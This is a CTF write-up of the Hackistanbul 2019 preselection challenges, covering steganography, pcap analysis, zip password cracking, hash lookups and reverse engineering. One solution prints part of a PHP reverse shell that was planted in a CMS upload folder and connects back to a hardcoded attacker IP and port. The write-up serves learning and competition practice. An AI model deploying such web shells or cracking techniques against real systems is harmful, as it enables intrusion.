Hackistanbul 2019 (Preselection)

Thanks for everyone involved, it was a fun stage. Also big props to by team goeoe, morph3, and layle.

Question 1 (Hint: “Futureboy”)

First question is the image below:

Using the hint, we upload the image to https://futureboy.us/stegano/decinput.html and get the result as

aHR0cHM6Ly9wYXN0ZWJpbi5jb20vUGZMWWRUNGI=

Decoding it:

$ base64 -d <<< ""
https://pastebin.com/PfLYdT4b

Which awards us with the flag.

flag:1kn0w17551mpl3

Question 2 (Hint: None)

In this question, we are given a pcap file with kerberos traffic inside.

Even though we dumped the ktgt hashes from the pcap out of habit, there is no need for that.

We can just use strings to analyse it, instead of actually dissecting the pcap file.

Using strings alone would result with so many results, so lets filter with more than 8 letters, and hope our flag is stronger.

$ strings 2-krb-816.pcapng -n 8

0370913024805Z
20370913024805Z
XP1             
20050816094029Z
DENYDC.COMdes0
DENYDC.COMdes
20370913024805Z
20370913024805Z
XP1             h
DENYDC.COMdes
DENYDC.COM
DENYDC.COM
DENYDC.COM
DENYDC.COM
DENYDC.COM
DENYDC.COM
xp1.denydc.com
20370913024805Z
DENYDC.COM
DENYDC.COM
xp1.denydc.com
DENYDC.COM
DENYDC.COM
DENYDC.COM
...

Lets filter out the unrelated stuff from here, using grep -v for negative search

$ strings 2-krb-816.pcapng -n 8| grep -vi "denydc\|20370913024805Z"

XP1             
20050816094029Z
XP1             h
VPC-W2K3ENT
VPC-W2K3ENT
TQ8z8T'e
VPC-W2K3ENT
VPC-W2K3ENT
u6$Kg~\Yg
#:a=+oOuA?
XP1             l
XP1             l
easy_as_1_2_3

Voila!

flag: easy_as_1_2_3

Question 3: Find the ip adress of the hacker. (Hint: “reverseshell”)

We are given a zip file with a cms inside.

One of the most common ways to get reverse shell is via php upload, so i instantly check all the php files to see if there is something noticable

$ ls -alR . | grep ".php$\|.php5$"

...
-rw-r--r-- 1 kali kali 2992 Jun 14  2015 QqSDK.class.php
-rw-r--r-- 1 kali kali 3010 Jun 14  2015 RenrenSDK.class.php
-rw-r--r-- 1 kali kali 2496 Jun 14  2015 SinaSDK.class.php
-rw-r--r-- 1 kali kali 2414 Jun 14  2015 SohuSDK.class.php
-rw-r--r-- 1 kali kali 2510 Jun 14  2015 T163SDK.class.php
-rw-r--r-- 1 kali kali 2505 Jun 14  2015 TaobaoSDK.class.php
-rw-r--r-- 1 kali kali 2647 Jun 14  2015 TencentSDK.class.php
-rw-r--r-- 1 kali kali 2524 Jun 14  2015 X360SDK.class.php
-rw-r--r-- 1 kali kali  730 Jun 14  2015 config.php
-rw-r--r-- 1 kali kali  151 Jun 14  2015 debug.php
-rw-r--r-- 1 kali kali 11253 Jun 14  2015 File.class.php
-rw-r--r-- 1 kali kali   428 Jun 14  2015 db_config_sample.php
-rw-r--r-- 1 kali kali 2645 Jun 14  2015 function.php
-rw-r--r-- 1 kali kali  677 Jun 14  2015 config.php
-rw-r--r-- 1 kali kali 9985 Jun 14  2015 IndexController.class.php
-rwx------  1 kali kali 3461 Aug 20 12:28 avatar.png.php

Just at the bottom, avatar.png.php is noticable with its different permission and .png.php. Lets find it and check the contents.

$ find . -name "avatar.png.php"

./Upload/avatar.png.php

Oh there is an uploads folder, probably that would be the first thing i would check if i noticed.

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.10.62';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...

...

?>

And there it is!

flag:10.10.10.62

Question 3: (Hint: “debug or nay”)

This time, we are given a python file:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

redacted_flag = [948, 205, 938, 216, 934, 214, 940, 57, 860, 33, 850, 56]
FLAG= [ "R", "E", "D", "A", "C", "T", "E", "D"]
if __name__ == "__main__":
    num1=188
    num2=881
    result = 0x0
    i = 1
    for char in FLAG:
        try:
            if i % 2 != 0:
                i += 1
                i  = i ^ num2
            result = char ^ i ^ num1
            redacted_flag.append(result)
        except TypeError:
            print("What did you expect, a flag?")

Running it is not really useful.

$ python 4-delusion.py 
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?

Lets try to understand what this is doing instead.

Its iterating through FLAG. Its if i is an even number, its incrementing it, and getting an xor with 881.

And in each step, its appending char ^ i ^ 188 to the flag.

This looks like its generating the flag, but we are getting type errors. So we need to use redacted_flag instead o the FLAG?

Lets create an empty list as RES=[], and this time, generate from redacted_flag instead of the FLAG, while pushing the result into the RES

Also, lets print the result as a string instead of a list.

redacted_flag = [948, 205, 938, 216, 934, 214, 940, 57, 860, 33, 850, 56]
FLAG= [ "R", "E", "D", "A", "C", "T", "E", "D"]
RES =[]
if __name__ == "__main__":
    num1=188
    num2=881
    result = 0x0
    i = 1
    for char in redacted_flag:
        try:
            if i % 2 != 0:
                i += 1
                i  = i ^ num2
            result = char ^ i ^ num1
            RES.append(chr(result))
        except TypeError:
            print("What did you expect, a flag?")
    print(''.join(RES))

And it prints out the flag.

$ python 4-delusion.py 

{tamagotchi}

Question 5: (Hint: None)

This was my least favorite question by far.

This time we are given an exe file, and we immediately see something wrong.

$ file 5-hi.exe; wc 5-hi.exe

5-hi.exe: ASCII text, with no line terminators
 0  1 40 5-hi.exe

Its an asci text with 40 bytes, and the content is

ea01e56d35d1b236cd41bc569e3847811b03c104

First we assumed it was a file hash to the original exe, but just to be safe, we ran the file through rockyou, just to confirm we couldn’t crack it easily. We searched through hybrid-analysis and virustotal, but nothing came up. We also checked multiple rainbow table websites, but no results. So at this point we left it to the john and moved on to the other questions.

After solving other questions in the stage, we came back to this one, seeing there were no results from john, we searched extra stuff like national software reference library, but still no results. After losing some more time, on of the rainbow table websites were successfull, meaning author of the question uploaded the hash result to this website.

https://hashtoolkit.com/reverse-hash/?hash=ea01e56d35d1b236cd41bc569e3847811b03c104

flag:flag{HelloIGotThflag3}

Question 6: (Hint: None)

This time we are given a png image.

Binwalk result is normal, and there is no useful exif data, or nothing in the strings results.


DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 1200 x 802, 8-bit/color RGB, non-interlaced
41            0x29            Zlib compressed data, default compression

This looks like zsteg problem, lets give it a try.

If you dont have it installed

$ sudo gem install zsteg
$ zsteg 6-hi19.png

imagedata           .. file: shared library
b1,g,lsb,xy         .. file: Tower32/600/400 68020 object not stripped - version 27790
b1,rgb,msb,xy       .. file: raw G3 (Group 3) FAX, byte-padded
b1,bgr,lsb,xy       .. text: "\nflag{h-19}"
b3,r,lsb,xy         .. text: "nMS6^Z'0/&"
b4,r,lsb,xy         .. text: "B \"03De#"
b4,g,lsb,xy         .. text: "u\"|}^WB!"
b4,rgb,lsb,xy       .. text: "S$SV6QA$"
b4,bgr,lsb,xy       .. text: "#TT&SV1A"

And it gives us the flag.

flag:flag{h-19}

Ook 7: (Ook: Ook!?)

Ook?

..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
..... ..... ..!.. ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!.
..... ..... ..!.. .!.!! !!!!! .?... ....! ?!!.? ..... .?.?! .?... .....
!.?.. ..... !?!!. ?!!!! !!?.? !.?!! !!!!! !!.?. 

Ook.

Ook.

Ook!

NTIOPMZM > Ook………………………………..? > FLAGHERE

Question 8: Follow the aHR0cHM6Ly9pbWd1ci5jb20vYS90UkJCaDFF (Hint: None)

For this question, the download link seems broken. Lets decode the b64 string

$ base64 -d <<< "aHR0cHM6Ly9pbWd1ci5jb20vYS90UkJCaDFF"

https://imgur.com/a/tRBBh1E

The image is:

Its something called dancing man cipher. You can google and see each man is a letter in the alphabet.

flag: dancewithme

Question 9 (Hint: “Rockyo”)

We are given a zip file.

Rockyo is probably rockyou. Lets use zip2john on this.

$ zip2john 9-queen.zip 

ver 1.0 efh 5455 efh 7875 9-queen.zip/queen.mp3 PKZIP Encr: 2b chk, TS_chk, cmplen=30, decmplen=18, crc=9C1E1DFC
9-queen.zip/queen.mp3:$pkzip2$1*2*2*0*1e*12*9c1e1dfc*0*43*0*1e*9c1e*51f3*6718ecc34afcea96ef96aa279121047d519eb6a7e0355aeb98663bae32b7*$/pkzip2$:queen.mp3:9-queen.zip::9-queen.zip

It easily cracks, and the password is lucky7777

Inside, there is a single queen.mp3, with content as the flag.

flag:w3_w1Ll_r0CKy0U!!!

Well, might as well.

If you are still reading to this point here is a stupid queen joke that i keep laughing about.

Question 10 (Hint: “Return Codes”)

This was one of the most challenging questions, which was noticable from the others.

First, we download a binary.

Potential malware? LETS RUN IT WITHOUT CHECKING WHAT IT DOES!

$ ./10-iLock

Do every step or jump over it
Patch the return value of edgynumber function to 40
I see no change, exiting...

Well, thats pretty much self explanatory. Lets patch it.

Don’t forget to open the binary in -w.

sym.edgynumber is as follows:

Eax should be the return register, you can see before popping the stack and returning, 0x539 is moved into the register. We should patch that Now, right click, edit, instruction, and change the move value to 0x28 (40).

$ ./10-iLock.edgypatch 

Do every step or jump over it
Patch the return value of edgynumber function to 40
Well done!
Lets see, what is the pin that I have?

Voila! Something changed, and we get a stdin halt. Lets check out the binary with ghidra now.

There are some interesting strings, but no flags.

There isn’t much to edit here, but i still rename some variables out of habit.

I thought it was just a mutex lock at first, but LOCK() looks like something else here, lets see.

Nope, nope, fuck that, miss me with that mersenne_twister_engine shit, im not even going to bother, i can see that its doing something else when param is 1 instead of 0, and its talking about the flag. Above the flag, i can see that its loading a global variable from &DAT_00014080.

I lost great time here, but i want to share it, because its good experience. Skip until the end of the indented part if you want to. I knew the global variable was the flag, but i thought maybe binary was editing it during runtime, and i was missing it. So i decided to patch LOCK(0) as LOCK(1) during the first LOCK call, and in gdb

gdb-peda$ break LOCK
gdb-peda$ run

*Break trigger*

$gdb-peda finish
*runs to the functions finish*

Then:

$ ps -ef | grep iLock

...
kali     19791 19781  0 16:42 pts/4    00:00:00 /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
...

$ cat /proc/19791/maps

56555000-56556000 r--p 00000000 08:19 271892                             /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
56556000-56559000 r-xp 00001000 08:19 271892                             /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
56559000-5655b000 r--p 00004000 08:19 271892                             /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
5655b000-5655c000 r--p 00005000 08:19 271892                             /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
5655c000-5655d000 rw-p 00006000 08:19 271892                             /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
5655d000-5657f000 rw-p 00000000 00:00 0                                  [heap]
f7b18000-f7b1a000 rw-p 00000000 00:00 0 
f7b1a000-f7b33000 r--p 00000000 08:17 1316978                            /lib/i386-linux-gnu/libc-2.28.so
f7b33000-f7c81000 r-xp 00019000 08:17 1316978                            /lib/i386-linux-gnu/libc-2.28.so
f7c81000-f7cf1000 r--p 00167000 08:17 1316978                            /lib/i386-linux-gnu/libc-2.28.so
f7cf1000-f7cf2000 ---p 001d7000 08:17 1316978                            /lib/i386-linux-gnu/libc-2.28.so
f7cf2000-f7cf4000 r--p 001d7000 08:17 1316978                            /lib/i386-linux-gnu/libc-2.28.so
f7cf4000-f7cf5000 rw-p 001d9000 08:17 1316978                            /lib/i386-linux-gnu/libc-2.28.so
f7cf5000-f7cf8000 rw-p 00000000 00:00 0 
f7cf8000-f7cfa000 r--p 00000000 08:17 1314711                            /lib/i386-linux-gnu/libgcc_s.so.1
f7cfa000-f7d10000 r-xp 00002000 08:17 1314711                            /lib/i386-linux-gnu/libgcc_s.so.1
f7d10000-f7d14000 r--p 00018000 08:17 1314711                            /lib/i386-linux-gnu/libgcc_s.so.1
f7d14000-f7d15000 r--p 0001b000 08:17 1314711                            /lib/i386-linux-gnu/libgcc_s.so.1
f7d15000-f7d16000 rw-p 0001c000 08:17 1314711                            /lib/i386-linux-gnu/libgcc_s.so.1
f7d16000-f7d20000 r--p 00000000 08:17 1316981                            /lib/i386-linux-gnu/libm-2.28.so
f7d20000-f7de2000 r-xp 0000a000 08:17 1316981                            /lib/i386-linux-gnu/libm-2.28.so
f7de2000-f7e1a000 r--p 000cc000 08:17 1316981                            /lib/i386-linux-gnu/libm-2.28.so
f7e1a000-f7e1b000 r--p 00103000 08:17 1316981                            /lib/i386-linux-gnu/libm-2.28.so
f7e1b000-f7e1c000 rw-p 00104000 08:17 1316981                            /lib/i386-linux-gnu/libm-2.28.so
f7e1c000-f7e87000 r--p 00000000 08:17 1838283                            /usr/lib/i386-linux-gnu/libstdc++.so.6.0.25
f7e87000-f7f41000 r-xp 0006b000 08:17 1838283                            /usr/lib/i386-linux-gnu/libstdc++.so.6.0.25
f7f41000-f7f91000 r--p 00125000 08:17 1838283                            /usr/lib/i386-linux-gnu/libstdc++.so.6.0.25
f7f91000-f7f97000 r--p 00174000 08:17 1838283                            /usr/lib/i386-linux-gnu/libstdc++.so.6.0.25
f7f97000-f7f98000 rw-p 0017a000 08:17 1838283                            /usr/lib/i386-linux-gnu/libstdc++.so.6.0.25
f7f98000-f7f9b000 rw-p 00000000 00:00 0 
f7fcd000-f7fcf000 rw-p 00000000 00:00 0 
f7fcf000-f7fd2000 r--p 00000000 00:00 0                                  [vvar]
f7fd2000-f7fd4000 r-xp 00000000 00:00 0                                  [vdso]
f7fd4000-f7fd5000 r--p 00000000 08:17 1316972                            /lib/i386-linux-gnu/ld-2.28.so
f7fd5000-f7ff1000 r-xp 00001000 08:17 1316972                            /lib/i386-linux-gnu/ld-2.28.so
f7ff1000-f7ffb000 r--p 0001d000 08:17 1316972                            /lib/i386-linux-gnu/ld-2.28.so
f7ffc000-f7ffd000 r--p 00027000 08:17 1316972                            /lib/i386-linux-gnu/ld-2.28.so
f7ffd000-f7ffe000 rw-p 00028000 08:17 1316972                            /lib/i386-linux-gnu/ld-2.28.so
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

Since i know its a global variable in stack, now i can dump the stack memory via gdb. Back to gdb

gdb-peda$ dump binary memory memory.dump 0x56555000 0x5655d000

This will dump the stack in a file, but as i said, this turned out to be completely unneccesary.

In ghidra, double clicking the global will take us to it in the process block. This is what it looks like:

To sanitize this, lets use a little regex magic!

  • First replace ( [0-9a-f]{8} )([0-9a-f]{2})(.*) with $2
  • We are left with only bytes in each line. Now, remove the null bytes, so replace(‘00\n’, ‘\n’)
  • Now, remove every newline with replace(‘\n’,’’)

Aaand, we are left with:

353f283a070b1413230f0c1510101918231105230e1d1218131112190f0f4301

At this point, you can remember the hint “return codes” and xor this with 7c, or just xor brute it with 1 byte space like this:

cyberchef recipe for solution

flag:ICTF{who_spilled_my_randomness?}

Question 11 (Hint: None)

This question is a jpeg again.

Jpeg image, its highlighting password, of course its steghide.

You can just create a small wordlist about the ctf, including keywords like “hack,hackistanbul,turkey,ctf,password,pass”, and their combinations and morphs, and you are going to find out that password is “hackistanbul”

$ steghide extract -sf 11-meim.jpg 

Enter passphrase: hackistanbul
wrote extracted data to "flag.txt".

$ cat flag.txt

{G00dAndW3lcomeToHa3kIstanbul}

flag:{G00dAndW3lcomeToHa3kIstanbul}

Question 12 (Hint: None)

12 is another binary. Thats about it.

$ strings 12-dosya.exe | grep "flag"

flag-hi19
flag{hi19}

flag: flag-hi19

Question 13 (Hint: None)

13 looks like a hex dump, but its reversed?

65d6 0377 5674 1587 4585 46f4 6575 2585 :00100000
6503 46f6 65c6 9577 a544 2575 2664 c633 :0f000000
75b6 a5f4 6555 1375 3684 0785 1623 d413 :0e000000
65a6 a4b4 2523 a454 45c6 8686 d4b6 0387 :0d000000
65d6 1343 9575 d497 35b6 6555 a026 8424 :0c000000
8565 d687 7755 6546 75a5 4425 45d4 b613 :0b000000
4365 7453 f416 1507 3526 b6a4 0565 7513 :0a000000
4346 2365 75a5 6446 1635 8424 3755 d613 :09000000
3575 6465 47e4 5547 a555 8524 4595 c646 :08000000
f646 c6a5 74a5 8407 b6a0 d4c6 a584 75b6 :07000000
a5b6 9565 a474 35c6 65a5 2664 0784 45c6 :06000000
a516 3574 2574 a564 a516 d403 a477 6575 :05000000
07b4 2623 2537 75b6 4685 2674 2527 34b6 :04000000
1354 65c6 8675 d4e6 8685 65c6 46b4 7565 :03000000
6557 35c6 0786 a0d4 6507 d465 c625 7436 :02000000
2325 8535 8507 1625 c6a4 2745 7507 e6e4 :01000000
6554 9795 a7c6 1555 7583 9334 76d3 d3a0 :00000000

Lets see what the content is.

  • First, lets reverse it.
  • Then, remove ??????: part at the line starts
  • Then, decode from hex

Cyberchef formula

It looks like a reversed b64, lets reverse it and decode from b64.

And its another b64.

Lets just continue until its not base64 anymore.

Aaaaand, here is the flag

flag:{its_something}

Question 14 (Hint: None)

14 is another MACOS binary.

String and data analysis does not show any hardcoded flags, but i can see there are uncalled functions using ghidra. Inside _HelloFunction, there is this:

Ghidra has a type error here, we should change acStack56 which is char[4] as char[28].

Whelp, thats the flag. copy everything, replace ( local_..\[.{1,2}\] = ')(.)';\n? with $2

flag:{TFtisNiTceToPlayWithlol}

Question 15 (Hint: “comparee function”)

This question is a binary too.

Running the binary doesnt provide much for this challenge.

$ ./15-serialkey.1

Please enter the serial key:
asdf
Serial-Key is invalid

So lets open it up with ghidra!

There isn’t any keys in the defined strings, so i guess its generating the key, instead of keeping it hardcoded.

There isn’t much to investigate in the binary, other than comparee function (as it was hinted)

If you are really experienced in this, you can see that this function is generating 2 blocks with getNum() and 2 blocks with getString(). You can statically analyze this and generate the key, but debugging is easier. Lets open up gdb, and break in comparee.

gdb-peda$ break comparee

Breakpoint 1 at 0x2651

Run the binary, enter anything as the serialkey After this, it should break upon entering comparee().

Step with next, and you’ll see something being generated and stored in the registers.

Keep stepping with next, you’ll see the binary is starting to append those blocks.

Voila, it finally has the serial!

Lets try it out!

$ ./15-serialkey.1 

Please enter the serial key:
336663-RLD-670334-LDWR
Serial-Key is valid

flag:336663-RLD-670334-LDWR

Question 16 (Hint: “Flag format is MATH{hex}”)

This question was really interesting. Upon downloading, it was just a piece of dissasembled code.

   0x5655619d <+0>:    lea    ecx,[esp+0x4]
   0x565561a1 <+4>:    and    esp,0xfffffff0
   0x565561a4 <+7>:    push   DWORD PTR [ecx-0x4]
   0x565561a7 <+10>:    push   ebp
   0x565561a8 <+11>:    mov    ebp,esp
   0x565561aa <+13>:    push   ebx
   0x565561ab <+14>:    push   ecx
   0x565561ac <+15>:    sub    esp,0x10
   0x565561b4 <+23>:    add    eax,0x2e4c
   0x565561b9 <+28>:    mov    DWORD PTR [ebp-0x18],0x0
   0x565561c0 <+35>:    mov    DWORD PTR [ebp-0x10],0x4171
   0x565561c7 <+42>:    mov    DWORD PTR [ebp-0x14],0x0
   0x565561ce <+49>:    mov    DWORD PTR [ebp-0x18],0x0
   0x565561d5 <+56>:    jmp    0x565561e4 <main+71>
   0x565561d7 <+58>:    mov    edx,DWORD PTR [ebp-0x10]
   0x565561da <+61>:    sub    edx,0x3
   0x565561dd <+64>:    add    DWORD PTR [ebp-0x14],edx
   0x565561e0 <+67>:    add    DWORD PTR [ebp-0x18],0x1
   0x565561e4 <+71>:    cmp    DWORD PTR [ebp-0x18],0x2
   0x565561e8 <+75>:    jle    0x565561d7 <main+58>
   0x565561ea <+77>:    mov    DWORD PTR [ebp-0xc],0x7589
   0x565561f1 <+84>:    mov    edx,DWORD PTR [ebp-0xc]
   0x565561f4 <+87>:    sub    DWORD PTR [ebp-0x14],edx
   0x565561f7 <+90>:    mov    edx,DWORD PTR [ebp-0x10]
   0x565561fa <+93>:    add    DWORD PTR [ebp-0x14],edx
   0x565561fd <+96>:    sub    esp,0x8
   0x56556200 <+99>:    push   DWORD PTR [ebp-0x14]

Lets turn it back to assembly, starting by removing the addresses, replace ^.*: with nothing.

    lea    ecx,[esp+0x4]
    and    esp,0xfffffff0
    push   DWORD PTR [ecx-0x4]
    push   ebp
    mov    ebp,esp
    push   ebx
    push   ecx
    sub    esp,0x10
    add    eax,0x2e4c
    mov    DWORD PTR [ebp-0x18],0x0
    mov    DWORD PTR [ebp-0x10],0x4171
    mov    DWORD PTR [ebp-0x14],0x0
    mov    DWORD PTR [ebp-0x18],0x0
    jmp    0x565561e4 <main+71>
    mov    edx,DWORD PTR [ebp-0x10]
    sub    edx,0x3
    add    DWORD PTR [ebp-0x14],edx
    add    DWORD PTR [ebp-0x18],0x1
    cmp    DWORD PTR [ebp-0x18],0x2
    jle    0x565561d7 <main+58>
    mov    DWORD PTR [ebp-0xc],0x7589
    mov    edx,DWORD PTR [ebp-0xc]
    sub    DWORD PTR [ebp-0x14],edx
    mov    edx,DWORD PTR [ebp-0x10]
    add    DWORD PTR [ebp-0x14],edx
    sub    esp,0x8
    push   DWORD PTR [ebp-0x14]

Well, <main+71> and <main+58> is not okay. Lets give them labels and place the labels.

    lea    ecx,[esp+0x4]
    and    esp,0xfffffff0
    push   DWORD PTR [ecx-0x4]
    push   ebp
    mov    ebp,esp
    push   ebx
    push   ecx
    sub    esp,0x10
    add    eax,0x2e4c
    mov    DWORD PTR [ebp-0x18],0x0
    mov    DWORD PTR [ebp-0x10],0x4171
    mov    DWORD PTR [ebp-0x14],0x0
    mov    DWORD PTR [ebp-0x18],0x0
    jmp    ahead
back:
    mov    edx,DWORD PTR [ebp-0x10]
    sub    edx,0x3
    add    DWORD PTR [ebp-0x14],edx
    add    DWORD PTR [ebp-0x18],0x1
ahead:
    cmp    DWORD PTR [ebp-0x18],0x2
    jle    back
    mov    DWORD PTR [ebp-0xc],0x7589
    mov    edx,DWORD PTR [ebp-0xc]
    sub    DWORD PTR [ebp-0x14],edx
    mov    edx,DWORD PTR [ebp-0x10]
    add    DWORD PTR [ebp-0x14],edx
    sub    esp,0x8
    push   DWORD PTR [ebp-0x14]

we can use defuse.ca to assemble online.

From the assembly, we need the string literal:

"\x8D\x4C\x24\x04\x83\xE4\xF0\xFF\x71\xFC\x55\x89\xE5\x53\x51\x83\xEC\x10\x05\x4C\x2E\x00\x00\xC7\x45\xE8\x00\x00\x00\x00\xC7\x45\xF0\x71\x41\x00\x00\xC7\x45\xEC\x00\x00\x00\x00\xC7\x45\xE8\x00\x00\x00\x00\xEB\x0D\x8B\x55\xF0\x83\xEA\x03\x01\x55\xEC\x83\x45\xE8\x01\x83\x7D\xE8\x02\x7E\xED\xC7\x45\xF4\x89\x75\x00\x00\x8B\x55\xF4\x29\x55\xEC\x8B\x55\xF0\x01\x55\xEC\x83\xEC\x08\xFF\x75\xEC"

Using the string literal, we can run our asm block just like shellcode.

int main(void)
{
    char code[] = "\x8D\x4C\x24\x04\x83\xE4\xF0\xFF\x71\xFC\x55\x89\xE5\x53\x51\x83\xEC\x10\x05\x4C\x2E\x00\x00\xC7\x45\xE8\x00\x00\x00\x00\xC7\x45\xF0\x71\x41\x00\x00\xC7\x45\xEC\x00\x00\x00\x00\xC7\x45\xE8\x00\x00\x00\x00\xEB\x0D\x8B\x55\xF0\x83\xEA\x03\x01\x55\xEC\x83\x45\xE8\x01\x83\x7D\xE8\x02\x7E\xED\xC7\x45\xF4\x89\x75\x00\x00\x8B\x55\xF4\x29\x55\xEC\x8B\x55\xF0\x01\x55\xEC\x83\xEC\x08\xFF\x75\xEC";
    int (*fn)() = (int(*)())code;
    return fn();
}
$ gcc -fno-stack-protector -z execstack -m32 16.c -o asm

$ gdb asm

Before segfault, you can see the last instruction pushes 0x9032 to the stack.

flag:0x9032

Question 17 (Hint: None)

We weren’t able to solve this question. You download a binary, and there isnt much going on with it.

No useful strings, no useful data, its just a MACOS executable that takes 2 files command line parameter, and prints out the xor result. Here is the full content:

We thought maybe it was just a hint, and we had to xor previous files/flags together to get the final flag, but nothing worked.

Question 18-19

I merged these, because they are pretty much same and similar to question 14.

We open up ghidra, find a function thats not being called, and then retype the variable so its a string being initialized.


flag:{GettingTheFlagIsNotcool}


flag:{LIKtotryhArderIAmCo0ool}

Question 20 (Hint: None)

This one is a pcap file too.

$ strings 20-preselection-pcap.pcap | grep flag
<DIV><FONT face=3DArial size=3D2>flag-hack-istanbul-ctf</FONT></DIV></BODY></HTML>

ez.

flag:flag-hack-istanbul-ctf